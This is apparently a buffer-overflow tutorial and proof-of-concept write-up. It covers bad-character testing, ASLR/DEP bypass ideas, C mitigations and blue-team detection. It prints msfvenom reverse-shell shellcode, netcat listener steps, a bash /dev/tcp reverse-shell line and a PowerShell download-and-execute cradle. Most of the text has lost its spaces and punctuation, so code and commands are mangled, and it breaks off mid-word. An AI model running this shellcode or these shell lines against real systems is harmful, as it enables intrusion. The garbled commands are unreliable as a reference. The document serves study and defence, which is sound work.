BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
BasicsonSocketProgramminginCincludeTheincludeiscalledapre-processordirectiveWhenyoucompileaCorC++programoneofthefirstthingsCdoesisuseapre-processorandfindthecharactersTheincludedirectiveinsertsthecontentsofanotherfileintothatspotinthesourcecodeThinkofitlikesourcinganydependentClibrariesUsuallythisisaheaderfile(hextension)thatdefinesvariabletypesorfunctionsSincetheincludedfilesnameissurroundedbyltandgtitmeansitslocatedinthestandardincludepathandnotwiththerestofthesourcefilesincludeltstdiohgtInputandOutputoperationscanalsobeperformedinC++usingtheCStandardInputandOutputLibrary(cstdioknownasstdiohintheClanguage)ThislibraryuseswhatarecalledstreamstooperatewithphysicaldevicessuchaskeyboardsprintersterminalsorwithanyothertypeoffilessupportedbythesystemStreamsareanabstractiontointeractwiththeseinauniformwayAllstreamshavesimilarpropertiesindependentlyoftheindividualcharacteristicsofthephysicalmediatheyareassociatedwithincludeltstdlibhgtThisheaderdefinesseveralgeneralpurposefunctionsincludingdynamicmemorymanagementrandomnumbergenerationcommunicationwiththeenvironmentintegerarithmeticssearchingsortingandconvertingrsquoincludeltstringhgtThisheaderfiledefinesseveralfunctionstomanipulateCstringsandarraysEgCopyingconcatenationcomparisonetcincludeltsyssockethgtThisheaderfileprovidesgeneralfunctionalityforsocketprogrammingAsocketisageneralizedinterprocesscommunicationchannelLikeapipeasocketisrepresentedasafiledescriptorUnlikepipessocketssupportcommunicati